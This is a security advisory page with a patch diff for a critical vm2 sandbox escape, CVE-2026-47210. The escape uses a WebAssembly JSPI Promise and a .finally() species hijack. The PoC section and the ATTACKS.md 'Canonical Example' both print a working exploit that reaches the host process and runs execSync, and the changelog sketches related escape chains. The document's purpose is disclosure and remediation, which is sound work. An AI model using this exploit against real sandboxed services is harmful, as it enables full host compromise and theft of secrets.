VYPR
Critical severity9.8GHSA Advisory· Published May 29, 2026· Updated May 29, 2026

vm2 sandbox escape via JSPI-backed Promise `.finally()` species bypass

CVE-2026-47210

Description

Summary

A sandbox escape vulnerability in vm2 allows arbitrary code execution in the host process when untrusted code is executed with async support on runtimes exposing WebAssembly JSPI (WebAssembly.promising / WebAssembly.Suspending). In the tested configuration, a JSPI-backed Promise can reach Promise.prototype.finally() in a way that bypasses the expected Promise-species hardening and exposes a host-originated rejection object to attacker-controlled species logic, breaking the sandbox boundary.

This is a critical sandbox escape: any application that treats vm2 as a security boundary may be fully compromised.

Details

On node26, JSPI-backed Promises created through WebAssembly.promising(...) do not behave like ordinary sandbox Promises.

That path yields a host-originated TypeError during JSPI processing. Inside attacker-controlled species logic reached through .finally(), the rejection object exposes a usable host constructor chain. In the tested environment, the rejection object's constructor path can be used to reach host process, which leads to arbitrary code execution in the host process.

This behavior is specific to the JSPI / .finally() interaction. In contrast, the corresponding then / catch paths still appeared to route through vm2's expected localPromise machinery in my testing.

PoC

Environment: node:26-bookworm ``javascript const {VM} = require("vm2"); const vm = new VM(); console.log(vm.run( (()=>{let b=Uint8Array.of(0,97,115,109,1,0,0,0,1,4,1,96,0,0,2,7,1,1,109,1,102,0,0,3,2,1,0,7,7,1,3,114,117,110,0,1,10,6,1,4,0,16,0,11);WebAssembly.instantiate(b,{m:{f:new WebAssembly.Suspending(()=>WebAssembly.compileStreaming(Promise.resolve(0)))}}).then(r=>{let p=WebAssembly.promising(r.instance.exports.run)();class F{constructor(x){this.s=0;this.q=[];x(v=>{this.s=1;this.v=v;for(let i of this.q)if(i[0])i0},e=>{ let P=e.constructor.constructor('return process')() P.mainModule.require('child_process').execSync('touch pwned'); this.s=2;this.v=e;for(let i of this.q)if(i[1])i1})}then(f,r){if(this.s==1)return f?f(this.v):this.v;if(this.s==2){if(r)return r(this.v);throw this.v}this.q.push([f,r]);return 0}}Object.defineProperty(F,Symbol.species,{get(){return F}});Object.defineProperty(p,'constructor',{get(){return F}});p.finally(()=>{})});return 1})() )); ``

Impact

This is a sandbox escape leading to arbitrary code execution in the host process.

Who is impacted:

  • any application using vm2 to execute attacker-controlled JavaScript as a security boundary
  • especially Node.js runtimes exposing WebAssembly JSPI features (Node 26)

Practical impact:

  • arbitrary command execution in the host process
  • arbitrary file read / write accessible to the host process
  • theft of secrets, tokens, credentials, and application data
  • complete compromise of services relying on vm2 isolation

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

A critical sandbox escape in vm2 allows arbitrary code execution in the host process via JSPI-backed Promise species bypass in the `.finally()` method.

Vulnerability

In vm2 versions prior to 3.11.4, on runtimes exposing WebAssembly JSPI (Node 24+ behind a flag, Node 26+ default), a JSPI-backed Promise created via WebAssembly.promising() bypasses the bridge interposition. When such a Promise reaches Promise.prototype.finally(), the attacker-controlled species logic in the sandbox receives a host-originated rejection object, breaking the sandbox boundary [3][4].

Exploitation

The attacker instantiates a WebAssembly module using WebAssembly.Suspending to create a JSPI function, then calls WebAssembly.promising() on the exported function to obtain a JSPI-backed Promise. By overriding Promise.prototype.finally() or the species constructor, the sandbox code intercepts the rejection. The rejection object's constructor chain leads to the host Function constructor, which can access process and execute arbitrary commands. The public PoC demonstrates using a class F that captures the rejection and runs e.constructor.constructor('return process')() to execute touch pwned [3][4].

Impact

Successful exploitation yields arbitrary code execution in the host process with the privileges of the application using vm2. Any application that relies on vm2 as a security boundary is fully compromised, resulting in total loss of confidentiality, integrity, and availability [3][4].

Mitigation

The vulnerability is fixed in vm2 version 3.11.4, released on 2026-05-29 [1][2]. Users should update immediately. If updating is not possible, disabling the --experimental-wasm-jspi flag on Node 24+ may help, but on Node 26+ JSPI is enabled by default; no complete workaround exists [3][4]. There is no evidence of CVE-2026-47210 being listed in CISA's Known Exploited Vulnerabilities catalog at this time.

AI Insight generated on May 29, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.

Affected products

2

Patches

1
6915fa4d9bce

fix(GHSA-6j2x-vhqr-qr7q): remove WebAssembly JSPI surface from sandbox

https://github.com/patriksimek/vm2Patrik SimekMay 17, 2026via ghsa
4 files changed · +375 1
  • CHANGELOG.md+2 1 modified
    @@ -2,7 +2,7 @@
     
     ## [3.11.4]
     
    -Six advisories closed. Patch release — no API changes for valid configurations.
    +Seven advisories closed. Patch release — no API changes for valid configurations.
     
     ### Security fixes
     
    @@ -12,6 +12,7 @@ Six advisories closed. Patch release — no API changes for valid configurations
     - **GHSA-q3fm-4wcw-g57x** — Defense Invariant #11 hardening for `defaultSandboxPrepareStackTrace` (second variant of GHSA-9qj6-qjgg-37qq in a different file). The sandbox stack-trace formatter accumulated frames in a sandbox-realm array and `.join`-ed them, so a sandbox-installed setter on `Array.prototype[N]` (or `.join` override) observed bridge-internal state — no host reference reachable today, but one enrichment away from regressing into the GHSA-9qj6 RCE shape. Fixed in `lib/setup-sandbox.js` by folding frames through a primitive string accumulator (no `Array.prototype` slot reachable) and converting `makeCallSiteGetters` to `localReflectDefineProperty` for symmetry. See ATTACKS.md Category 28 Variant B and `test/ghsa/GHSA-q3fm-4wcw-g57x/`.
     - **GHSA-76w7-j9cq-rx2j** — Promise species hijack in the `localPromise` swallow tail. The swallow-tail `apply(globalPromisePrototypeThen, this, [...])` call inside `localPromise`'s constructor invoked the cached host `Promise.prototype.then` without first calling `resetPromiseSpecies(this)`, so a sandbox subclass overriding `[Symbol.species]` could redirect the downstream child constructor to a user function and capture V8's internal `(resolve, reject)` capability — delivering a raw host-realm error (RangeError from deep recursion + `e.stack`) to a sandbox collector and reaching the host `Function` constructor via `.constructor.constructor`. One-line fix in `lib/setup-sandbox.js` adds the missing `resetPromiseSpecies(this)` before the swallow-tail call, matching the pattern already used by the `.then`/`.catch`/`Reflect.apply` overrides. See ATTACKS.md Category 31 and `test/ghsa/GHSA-76w7-j9cq-rx2j/`.
     - **GHSA-m4wx-m65x-ghrr** — patch bypass of GHSA-8hg8-63c5-gwmx. The original check `options.require === false` only rejected the literal `require: false` shape; omitting `require` entirely left `options.require === undefined`, the check fell through, and the destructuring default `require: requireOpts = false` a few lines down produced the same `requireOpts = false` the original patch existed to block — inner NodeVM construction with attacker-chosen `require` config → `child_process` RCE. Structural fix in `lib/nodevm.js`: destructure first, then check `nesting === true && !requireOpts`, so every falsy/omitted shape collapses to the same construction-time `VMError`. The explicit-`require`-config escape hatch is preserved. Supersedes GHSA-8hg8-63c5-gwmx. See ATTACKS.md Category 25 and `test/ghsa/GHSA-m4wx-m65x-ghrr/`.
    +- **GHSA-6j2x-vhqr-qr7q** — sandbox escape via WebAssembly JSPI (Node 24 behind `--experimental-wasm-jspi`, Node 26+ default). `WebAssembly.promising` returns Promise objects whose `[[Prototype]]` chain points directly at the host realm's `Promise.prototype` with no bridge proxy in between, so `p.finally()` reaches host `Promise.prototype.finally`, V8's `SpeciesConstructor` reads an attacker-controlled `p.constructor` getter, and the eventual host-realm rejection is dispatched through the attacker's class with no bridge wrapping — `e.constructor.constructor('return process')()` then evaluates in the host realm. Structural fix in `lib/setup-sandbox.js`: delete `WebAssembly.promising` and `WebAssembly.Suspending` at sandbox bootstrap, mirroring the existing `WebAssembly.JSTag` removal. Adds Defense Invariant #12 (no sandbox-visible object may have a host-realm prototype chain without bridge interposition). See ATTACKS.md Category 33 and `test/ghsa/GHSA-6j2x-vhqr-qr7q/`.
     
     ### Upgrade notes
     
    
  • docs/ATTACKS.md+110 0 modified
    @@ -70,6 +70,8 @@ These are the cross-cutting properties the sandbox must preserve. A fix that clo
     
     11. **Bridge-internal containers must not invoke sandbox code.** Lists, maps, and saved-state records allocated for the bridge's exclusive use are reached from sandbox-realm closures whose intrinsics (`Array.prototype`, `Object.prototype`, `Map.prototype`) are attacker-reachable. Reads and writes on those containers must use prototype-bypassing primitives — `Reflect.defineProperty`, `Reflect.apply` over cached `WeakMap.prototype.{get,set}`, etc. — never operators (`obj[i] =`, `map.set`, `for...in`) that fall through to the sandbox prototype chain. Otherwise an attacker-installed setter/getter on `Array.prototype[N]` or `Object.prototype.<key>` can capture or mutate the bridge's raw saved state.
     
    +12. **No sandbox-visible object has a host-realm prototype chain without bridge interposition.** Every Promise (and, by extension, every spec-defined async dispatch target) reachable from sandbox code is either (a) sandbox-realm with `globalPromise.prototype` in its `[[Prototype]]` chain — so the sandbox-side `.then`/`.catch` overrides apply — or (b) a bridge proxy of a host-realm Promise — so the bridge `apply`-trap interception applies. A third shape (sandbox-realm allocation with a host-realm prototype, with no proxy in between) bypasses both layers: `p.then`/`.catch`/`.finally` lookup walks across realms to host native methods directly, `Object.defineProperty(p, 'constructor', ...)` writes onto the raw object, and V8's host-realm `SpeciesConstructor` dispatches the rejection through attacker-controlled species without ever invoking a sandbox-visible chokepoint. Any V8/Node primitive that produces such an object — WebAssembly JSPI is the first known one — must be neutralized at sandbox bootstrap. See [Category 33](#attack-category-33-webassembly-jspi-cross-realm-promise-prototype).
    +
     The [Security Checklist for Bridge Changes](#security-checklist-for-bridge-changes) at the end of this document gives the verification questions for each invariant.
     
     ---
    @@ -2653,6 +2655,112 @@ The fix is symmetric with `ReadOnlyHandler.set` (which uses the same install-on-
     
     ---
     
    +## Attack Category 33: WebAssembly JSPI Cross-Realm Promise Prototype
    +
    +**Uses**: [Category 3: Symbol-Based Attacks](#attack-category-3-symbol-based-attacks), [Category 7: Promise and Async Exploitation](#attack-category-7-promise-and-async-exploitation), [Category 17: WebAssembly JSTag Exception Catch](#attack-category-17-webassembly-jstag-exception-catch).
    +
    +### Description
    +
    +The WebAssembly JavaScript Promise Integration (JSPI) API — `WebAssembly.promising` and `WebAssembly.Suspending`, available behind `--experimental-wasm-jspi` on Node 24 and enabled by default on Node 26+ — returns Promise objects whose `[[Prototype]]` chain points **directly at the host realm's `Promise.prototype`** without going through any bridge proxy.
    +
    +This is a categorically new shape of sandbox-visible object. Until JSPI, every Promise reachable from sandbox code was either:
    +
    +1. A sandbox-realm Promise whose `[[Prototype]]` includes `globalPromise.prototype` (so the vm2 overrides on `then`/`catch` apply), or
    +2. A bridge proxy of a host-realm Promise (so the bridge `apply`-trap interception applies).
    +
    +JSPI breaks this dichotomy by producing a third class — sandbox-realm allocation, host-realm prototype, no bridge proxy. Neither defense layer can intercept it: sandbox property access on a JSPI promise walks the cross-realm prototype chain and resolves directly to host-realm native `Promise.prototype.{then,catch,finally}`. The sandbox-side `globalPromise.prototype.then|catch` overrides are never reached (different prototype object). `resetPromiseSpecies` is only invoked from those overrides, so it never runs. The bridge `apply` trap only fires for bridge-proxied callables, which JSPI promises are not.
    +
    +CWE-913 (Improper Control of Dynamically-Managed Code Resources).
    +
    +### Attack Flow
    +
    +1. **Build a wasm module** that imports a Suspending function `f` and exports a `run` that calls `f`. The PoC's 60-byte module body is `(module (func (import "m" "f") (param) (result)) (func (export "run") (call 0)))`.
    +2. **Suspending throw setup**: `new WebAssembly.Suspending(() => WebAssembly.compileStreaming(Promise.resolve(0)))`. `compileStreaming` expects a `Response` or `Promise<Response>`; given the number `0`, it eventually rejects with a host-realm `TypeError` from `node:internal/wasm_web_api`.
    +3. **JSPI promotion**: `const p = WebAssembly.promising(instance.exports.run)()`. The returned `p` is sandbox-realm by allocation but its `[[Prototype]]` is the host realm's `Promise.prototype` — confirmed by `Object.getPrototypeOf(p) === Promise.prototype` returning `false` and `Object.getPrototypeOf(Object.getPrototypeOf(p)) === Object.prototype` returning `true` (no sandbox `Promise.prototype` link in the chain at all).
    +4. **Species installation directly on `p`**: `Object.defineProperty(p, 'constructor', { get(){ return F; }})`. Because `p` is not a bridge proxy, the `defineProperty` call hits the raw object — the getter is installed on `p` itself, visible to V8's host-realm SpeciesConstructor lookup.
    +5. **`.finally` triggers the host species path**: `p.finally(() => {})`. Property access walks `p → hostPromisePrototype`, finds host `Promise.prototype.finally`, and calls it (no apply-trap interception since the method was reached via prototype walk, not via a proxy). Host's `finally` per spec runs `SpeciesConstructor(p, %Promise%)` → reads `p.constructor` → invokes attacker getter → returns `F` (sandbox class).
    +6. **Result capability bypass**: `NewPromiseCapability(F)` constructs an `F` instance with V8's builtin executor. `F`'s constructor calls `x(resolveCb, rejectCb)` with raw sandbox closures. There is no bridge between the host-realm executor and the sandbox closures — the executor is a direct host function reference held by sandbox code without proxying — so V8 stores the raw sandbox closures as `capability.[[Resolve]]` and `capability.[[Reject]]`.
    +7. **Rejection dispatch raw**: when the JSPI promise rejects with the host `TypeError` from step 2, V8's PromiseReactionJob calls `capability.[[Reject]](hostTypeError)` directly. The sandbox closure receives the **raw host-realm `TypeError`** with no bridge wrapping.
    +8. **Escape**: inside `F`'s reject closure, `e.constructor` is host `TypeError`; `.constructor` is host `Function`; `'return process'` constructs a function whose `[[Realm]]` is host, so invoking it evaluates `process` in the host realm and returns the host `process` object. `process.mainModule.require('child_process').execSync(...)` → RCE.
    +
    +### Canonical Example
    +
    +```javascript
    +// (advisory GHSA-6j2x-vhqr-qr7q). Environment: node:26-bookworm (JSPI default-on).
    +const { VM } = require("vm2");
    +new VM().run(`
    +  let b = Uint8Array.of(0,97,115,109,1,0,0,0,1,4,1,96,0,0,2,7,1,1,109,1,102,
    +    0,0,3,2,1,0,7,7,1,3,114,117,110,0,1,10,6,1,4,0,16,0,11);
    +  WebAssembly.instantiate(b, {
    +    m: { f: new WebAssembly.Suspending(() =>
    +      WebAssembly.compileStreaming(Promise.resolve(0))) }
    +  }).then(r => {
    +    let p = WebAssembly.promising(r.instance.exports.run)();
    +    class F {
    +      constructor(x) {
    +        this.s = 0; this.q = [];
    +        x(v => { this.s = 1; this.v = v;
    +                 for (let i of this.q) if (i[0]) i[0](v); },
    +          e => {
    +            let P = e.constructor.constructor('return process')();
    +            P.mainModule.require('child_process').execSync('touch pwned');
    +            this.s = 2; this.v = e;
    +            for (let i of this.q) if (i[1]) i[1](e);
    +          });
    +      }
    +      then(f, r) {
    +        if (this.s == 1) return f ? f(this.v) : this.v;
    +        if (this.s == 2) { if (r) return r(this.v); throw this.v; }
    +        this.q.push([f, r]); return 0;
    +      }
    +    }
    +    Object.defineProperty(F, Symbol.species, { get(){ return F; }});
    +    Object.defineProperty(p, 'constructor', { configurable: true, get(){ return F; }});
    +    p.finally(() => {});
    +  });
    +`);
    +```
    +
    +### Why It Works
    +
    +The structural defects compound:
    +
    +- **Cross-realm prototype is a new attack shape.** All prior Promise hardening assumes one of two regimes — sandbox-realm with our overrides, or bridge-proxied host realm. JSPI invented a third: sandbox-realm allocation, host-realm prototype, no proxy. Every existing defense was scoped to one of the two known regimes.
    +- **No proxy = no apply-trap interception.** The bridge `apply` trap on host `Promise.prototype.{then,catch,finally}` (installed by GHSA-55hx-c926-fr95) wraps sandbox callbacks with sanitizers before invoking the host method. JSPI promises bypass it because property lookup walks a raw prototype chain to host methods directly — there is no proxy, no apply trap, no sanitizer wrapping.
    +- **No `globalPromise.prototype` link = no `resetPromiseSpecies`.** The sandbox-side `globalPromise.prototype.then|catch` overrides are the chokepoint where `resetPromiseSpecies(this)` runs. The JSPI promise's prototype chain never traverses `globalPromise.prototype`, so the override is never reached.
    +- **`PerformPromiseThen` is C++ anyway.** Even if `.then` had been overridden, host `Promise.prototype.finally` calls `PerformPromiseThen` directly via the spec's internal abstract operations, bypassing user-visible `.then` dispatch.
    +- **F's executor receives raw host references.** Because everything from the species lookup onward happens inside host's `finally` implementation reading the attacker getter installed on the raw JSPI promise, the entire flow stays "host code holding sandbox class F" without any bridge mediation. F's resolve/reject closures get registered as capability functions directly, then invoked directly with raw host rejection reasons.
    +
    +### Mitigation
    +
    +Delete `WebAssembly.promising` and `WebAssembly.Suspending` from the sandbox at bootstrap in `lib/setup-sandbox.js`, mirroring the existing `WebAssembly.JSTag` removal ([Category 17](#attack-category-17-webassembly-jstag-exception-catch)). Without `Suspending`, a wasm module cannot import a JS function as a suspending import; without `promising`, sandbox cannot promote a wasm function into a JSPI export. JSPI is the only known primitive that produces a sandbox-visible Promise whose prototype crosses realms without bridge interposition, and both constructors are required to use it — removing either kills the attack class on its own; removing both is belt-and-suspenders.
    +
    +The removal is guarded by `typeof` checks so the same code path is a no-op on Node ≤ 23 (no JSPI constants exist) and on Node 24/25 without the `--experimental-wasm-jspi` flag (constants exist on the global but not on the sandbox-context `WebAssembly`).
    +
    +This fix restores [Defense Invariant #4](#defense-invariants) (V8 internal algorithms cannot read attacker-controlled `constructor` on host objects) for sandbox-visible Promises — by eliminating the only known path that produces sandbox-visible Promises outside the two regimes the invariant was originally formulated for. It also expresses a stronger invariant that has been latent in the codebase, [Defense Invariant #12](#defense-invariants): every sandbox-visible Promise must either include `globalPromise.prototype` in its `[[Prototype]]` chain (so sandbox-side overrides apply) or be a bridge proxy of a host-realm Promise (so the bridge `apply`-trap applies); any third class must be neutralised at sandbox bootstrap.
    +
    +JSPI is the first known instance of this third class; future spec extensions that produce similarly-shaped objects (a hypothetical structured-clone Promise, `WebAssembly`-future, embedder host functions returning cross-realm-prototype objects) must be checked against the same invariant.
    +
    +**Supersedes**: None directly. Strengthens the surrounding family of Promise species fixes ([Category 7](#attack-category-7-promise-and-async-exploitation)) by closing the cross-realm-prototype variant that the prior `resetPromiseSpecies` + apply-trap-wrapping design could not reach.
    +
    +### Detection Rules
    +
    +- **`typeof WebAssembly.promising`** or **`typeof WebAssembly.Suspending`** evaluated inside the sandbox returning anything other than `'undefined'` — the bootstrap removal failed and the attack surface is open.
    +- **`new WebAssembly.Suspending(...)`** in sandbox code — direct attempt to construct a Suspending function. After the fix this throws `TypeError: WebAssembly.Suspending is not a constructor`.
    +- **`WebAssembly.promising(...)`** in sandbox code — direct attempt to promote a wasm function into JSPI. After the fix this throws `TypeError: WebAssembly.promising is not a function`.
    +- **Wasm modules that import a function with `Suspending`-binding semantics** — the import name pattern isn't directly observable from JS, but the module must be paired with `new WebAssembly.Suspending(...)` at instantiation. Removing the Suspending constructor blocks the pairing.
    +- **`Object.defineProperty(p, 'constructor', ...)` on a Promise whose prototype is not `globalPromise.prototype` or a bridge proxy** — heuristic that flags any future cross-realm-prototype Promise shape. Currently no such object reaches sandbox code; this rule is a tripwire for future regressions.
    +
    +### Considered Attack Surfaces
    +
    +- **Other WebAssembly features.** An audit pass against `WebAssembly.Module`, `Instance`, `Memory`, `Table`, `Global`, `Exception`, `Tag`, `Function`, the `compile`/`compileStreaming`/`instantiate`/`instantiateStreaming` family, `validate`, and the various error classes confirmed that none of them return sandbox-visible objects with cross-realm prototypes outside the JSTag/JSPI cases already covered. WebAssembly instance and module objects are bridge-proxied through the normal `thisEnsureThis` path; their prototypes eventually reach `Object.prototype`, which is in `protoMappings` and gets wrapped via `defaultFactory`. Confirmed empirically.
    +- **SharedArrayBuffer / Atomics / WeakRef / FinalizationRegistry.** Instances proxied via the `Object.prototype` mapping fallback. Atomics returns only primitives or already-proxied objects. WeakRef and FinalizationRegistry callbacks are sandbox closures that don't return host objects.
    +- **`ShadowRealm`.** Not exposed in current Node releases (`typeof ShadowRealm === 'undefined'`). If exposed in a future Node, would need its own bootstrap treatment.
    +- **`structuredClone` / `MessagePort`.** `structuredClone` is not on the sandbox global by default. `MessagePort` is not exposed.
    +- **Embedder-exposed host functions returning host Promises.** Bridge-proxied as before — falls under regime (b) of the invariant and is covered by GHSA-55hx-c926-fr95 apply-trap callback sanitization.
    +
    +---
    +
     ## Considered Attack Surfaces
     
     These attack surfaces were analyzed and found to be safe or low-risk. They are documented here so future reviewers do not re-investigate them.
    @@ -2740,6 +2848,7 @@ The most dangerous attacks combine multiple categories. Each pattern references
     22. **Async Generator yield*-Return Thenable + Stack-Overflow Realm Skew** [Categories 4, 7, 29] (NOW FIXED): Use `yield*` to a no-`return` inner async iterator, then `.return(thenable)` where the thenable's `.then` synchronously throws via deep recursion. V8's `PromiseResolveThenableJob` captures the throw and the yield* continuation surfaces it as `{ value, done: false }` — bypassing both the transformer's user-`catch` instrumentation and the `globalPromise.prototype.then` rejection sanitiser. Binary-search the recursion depth where the overflow originates inside V8's host C++ code so the `RangeError` is host-realm, then `e.constructor.constructor("return process")()`. Closed by wrapping `%AsyncGeneratorPrototype%.next/.return/.throw` to route iterator-result `.value` and rejections through `handleException`, plus replacing every thenable arg with a sandbox-realm wrapper whose `.then` is a fixed `safeThen` and always-shadowing the non-function branch so V8's re-read of `.then` cannot observe attacker-controlled values.
     23. **Host Prototype Mutation via Apply-Trap Indirection + WebAssembly Rejection** [Categories 2, 4, 7, 30] (NOW FIXED): Resolve host `Object.prototype.__proto__` setter via `Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__")` (the `connect()`-aliased sandbox `__lookupSetter__` walks back to host). Trigger a host-realm `TypeError` (e.g., `await WebAssembly.compileStreaming()`). Inside `catch(e)`, call `setProto.call(getProto.call(e), null)` — the apply trap unwraps `context` and forwards to the host setter, severing host `TypeError.prototype.[[Prototype]]` without any write trap firing. The next host `TypeError` from `await WebAssembly.compileStreaming()` walks back into sandbox code through V8 async internals; the bridge's proto-walk no longer finds the registered mapping at the right level and the value falls through unwrapped. `e.constructor.constructor` is then host `Function`. Closed structurally by (A) caching host prototype-mutating intrinsics (`Object.prototype.__proto__` setter, `Object.setPrototypeOf`, `Reflect.setPrototypeOf`, `Object.{defineProperty,defineProperties}`, `Reflect.defineProperty`, `Object.prototype.__define{Getter,Setter}__`) and refusing them in the apply trap with one layer of indirection peel for `Function.prototype.{call,apply,bind}` and `Reflect.{apply,construct}`; (B) cache-check on `mappingOtherToThis` before the proto-walk in `thisEnsureThis` so any previously-bridged host value returns the existing proxy even with a tampered proto chain.
     24. **Promise Species Hijack + Stack-Overflow Realm Skew** [Categories 4, 7, 18, 29, 31] (NOW FIXED): `class FakePromise extends Promise { static get [Symbol.species]() { return ct } }` reroutes the swallow-tail child constructor inside `localPromise` to a sandbox-controlled `ct`. `ct` rebinds V8's internal `(resolve, reject)` capability to a sandbox collector; trigger a host-realm `RangeError` via `e.stack` after deep recursion (binary-searched depth) inside the downstream chain; V8's `PromiseResolveThenableJob` delivers the raw host Error to the collector — `ex.constructor.constructor("return process")()` then yields RCE. Closed by adding `resetPromiseSpecies(this)` immediately before the swallow-tail `apply(globalPromisePrototypeThen, this, ...)` call so the species protocol always resolves to `localPromise` regardless of the user's subclass `Symbol.species` override.
    +25. **WebAssembly JSPI Cross-Realm Promise + Species Hijack** [Categories 3, 7, 33] (NOW FIXED): JSPI returns a sandbox-realm Promise with host-realm `Promise.prototype` in its `[[Prototype]]` chain — bypassing both the sandbox-side `.then`/`.catch` overrides and the bridge `apply`-trap callback wrapping. Install `Object.defineProperty(p, 'constructor', {get(){return F}})` directly on the raw object; `p.finally(()=>{})` calls host `Promise.prototype.finally`, whose internal SpeciesConstructor reads F and dispatches the eventual host-realm rejection (host `TypeError` from `WebAssembly.compileStreaming(Promise.resolve(0))`) through F's reject closure with **no bridge wrapping**. `e.constructor.constructor("return process")()` evaluates in host realm because `Function.[[Realm]]` is host → RCE. Closed by deleting `WebAssembly.promising` and `WebAssembly.Suspending` at sandbox bootstrap, mirroring the `WebAssembly.JSTag` removal.
     
     ### How The Bridge Defends
     
    @@ -2770,6 +2879,7 @@ The most dangerous attacks combine multiple categories. Each pattern references
     | Property descriptor extraction | `containsDangerousConstructor` + `preventUnwrap` blocks unwrapping |
     | SuppressedError | `handleException` detects and recursively sanitizes `.error`/`.suppressed` |
     | WebAssembly JSTag | `WebAssembly.JSTag` deleted from sandbox |
    +| WebAssembly JSPI cross-realm Promise | `WebAssembly.promising` and `WebAssembly.Suspending` deleted from sandbox; JSPI promises (sandbox allocation with host-realm `Promise.prototype` and no bridge proxy) cannot be produced, so the species channel on a cross-realm-prototype Promise is structurally unreachable |
     | Array species self-return | set/defineProperty traps + neutralizeArraySpecies + SPECIES_ATTACK_SENTINEL |
     | Host prepareStackTrace fallback | Safe default always set; setter resets to safe default instead of `undefined` |
     | NodeVM `require.root` symlink bypass | `isPathAllowed` realpaths candidate before prefix check; `rootPaths` canonicalized at construction; deny-by-default if realpath throws |
    
  • lib/setup-sandbox.js+51 0 modified
    @@ -473,6 +473,57 @@ if (typeof WebAssembly !== 'undefined' && WebAssembly.JSTag !== undefined) {
     	localReflectDeleteProperty(WebAssembly, 'JSTag');
     }
     
    +/*
    + * WebAssembly JSPI protection (GHSA-6j2x-vhqr-qr7q)
    + *
    + * The WebAssembly JavaScript Promise Integration (JSPI) API — `WebAssembly.promising`
    + * and `WebAssembly.Suspending` (Node 24+ behind --experimental-wasm-jspi, Node 26+
    + * by default) — produces Promise objects whose prototype chain points DIRECTLY at
    + * the host realm's `Promise.prototype` without going through any bridge proxy.
    + * Sandbox property access on a JSPI promise (e.g. `p.then`, `p.finally`) walks the
    + * cross-realm prototype chain and resolves to host-realm native methods, completely
    + * bypassing:
    + *   - the sandbox-side `globalPromise.prototype.then|catch` overrides (different
    + *     prototype object, so the overrides are never reached),
    + *   - `resetPromiseSpecies` (only called from those overrides),
    + *   - the bridge `apply`-trap callback wrapping for host Promise methods (only
    + *     fires for *bridge-proxied* host promises; JSPI promises aren't proxied).
    + *
    + * Consequences:
    + *   1. An attacker can install `Object.defineProperty(p, 'constructor', { get(){return F}})`
    + *      directly on the JSPI promise (no proxy intercepts it).
    + *   2. Host's `Promise.prototype.finally` reads `p.constructor` for SpeciesConstructor,
    + *      gets the attacker's F (sandbox class), builds a result capability whose
    + *      `[[Resolve]]` / `[[Reject]]` are the *raw* sandbox closures F supplied in its
    + *      executor — with no bridge wrapping.
    + *   3. When the JSPI promise rejects (e.g. with a host-realm TypeError thrown by
    + *      `WebAssembly.compileStreaming` on a non-Response input), V8 dispatches the
    + *      rejection through F's reject closure, delivering the raw host error into
    + *      sandbox code. `e.constructor.constructor('return process')()` then evaluates
    + *      in the host realm because `Function.[[Realm]]` is host.
    + *
    + * Fix: remove `WebAssembly.promising` and `WebAssembly.Suspending` from the sandbox.
    + * Without `Suspending`, wasm modules cannot import a JS function as a suspending
    + * import; without `promising`, sandbox cannot promote a wasm function into a JSPI
    + * export. JSPI is the only known path that produces a sandbox-visible Promise whose
    + * prototype crosses realms without bridge interposition — mirrors the existing
    + * `WebAssembly.JSTag` removal (GHSA-9qj6-qjgg-37qq) in spirit.
    + */
    +if (typeof WebAssembly !== 'undefined') {
    +	// SECURITY (GHSA-6j2x-vhqr-qr7q): WebAssembly.promising returns Promises with
    +	// host-realm Promise.prototype in their [[Prototype]] chain. No sandbox-side
    +	// override and no bridge proxy can intercept method dispatch on such objects.
    +	if (typeof WebAssembly.promising !== 'undefined') {
    +		localReflectDeleteProperty(WebAssembly, 'promising');
    +	}
    +	// SECURITY (GHSA-6j2x-vhqr-qr7q): WebAssembly.Suspending is required to satisfy
    +	// the suspending-import slot in any JSPI module. Removing it alone closes the
    +	// instantiation half of the chain; removing `.promising` closes the export half.
    +	if (typeof WebAssembly.Suspending !== 'undefined') {
    +		localReflectDeleteProperty(WebAssembly, 'Suspending');
    +	}
    +}
    +
     if (
     	!localReflectDefineProperty(global, 'VMError', {
     		__proto__: null,
    
  • test/ghsa/GHSA-6j2x-vhqr-qr7q/repro.js+212 0 added
    @@ -0,0 +1,212 @@
    +/**
    + * GHSA-6j2x-vhqr-qr7q — vm2 sandbox escape via WebAssembly JSPI species bypass
    + *
    + * ## Vulnerability
    + *
    + * The WebAssembly JavaScript Promise Integration (JSPI) API — `WebAssembly.promising`
    + * and `WebAssembly.Suspending`, available behind `--experimental-wasm-jspi` on
    + * Node 24 and enabled by default on Node 26+ — returns Promise-shaped objects whose
    + * `[[Prototype]]` chain points DIRECTLY at the host realm's `Promise.prototype`
    + * without going through any bridge proxy.
    + *
    + * Sandbox property access on such a promise resolves `p.then` / `p.catch` /
    + * `p.finally` to the host-realm native methods via the cross-realm prototype walk,
    + * completely bypassing:
    + *   1. the sandbox-side `globalPromise.prototype.then|catch` overrides (the JSPI
    + *      promise's prototype is NOT `globalPromise.prototype`, so the override is
    + *      never reached),
    + *   2. `resetPromiseSpecies` (only invoked from those overrides),
    + *   3. the bridge `apply`-trap callback wrapping for host Promise methods (which
    + *      only fires for bridge-proxied host promises — JSPI promises aren't
    + *      proxied at all).
    + *
    + * The canonical attack chain on Node 26:
    + *
    + * ```js
    + * const p = WebAssembly.promising(wasmFn)();      // sandbox-realm, cross-realm proto
    + * Object.defineProperty(p, 'constructor', { get(){ return F; }});  // hits raw p
    + * p.finally(() => {});                            // V8's host-realm finally runs
    + * ```
    + *
    + * V8's host-realm `Promise.prototype.finally` reads `p.constructor` →
    + * attacker's sandbox class `F` → builds a result capability whose `[[Reject]]`
    + * is the raw sandbox closure F supplied. When the JSPI promise rejects with
    + * a host-realm `TypeError` (e.g. from `WebAssembly.compileStreaming(0)`),
    + * V8 calls that closure directly with the raw host error. Inside F's reject:
    + *
    + * ```js
    + * e.constructor.constructor('return process')();  // host Function — RCE
    + * ```
    + *
    + * `Function.[[Realm]]` is host, so the constructed function evaluates in the
    + * host realm and `process` resolves.
    + *
    + * ## Fix
    + *
    + * Remove `WebAssembly.promising` and `WebAssembly.Suspending` from the
    + * sandbox global at bootstrap, mirroring the existing `WebAssembly.JSTag`
    + * deletion (GHSA-9qj6-qjgg-37qq). Without `Suspending`, a wasm module cannot
    + * import a JS function as a suspending import; without `promising`, sandbox
    + * cannot promote a wasm function into a JSPI export. JSPI is the only known
    + * primitive that produces a sandbox-visible Promise whose prototype crosses
    + * realms without bridge interposition.
    + *
    + * ## Defense invariant restored
    + *
    + * Every Promise object reachable from sandbox code is either (a) sandbox-
    + * realm with `globalPromise.prototype` in its `[[Prototype]]` chain (so the
    + * vm2 overrides apply), or (b) a bridge proxy of a host-realm Promise (so
    + * the bridge `apply`-trap interception applies). JSPI broke this dichotomy
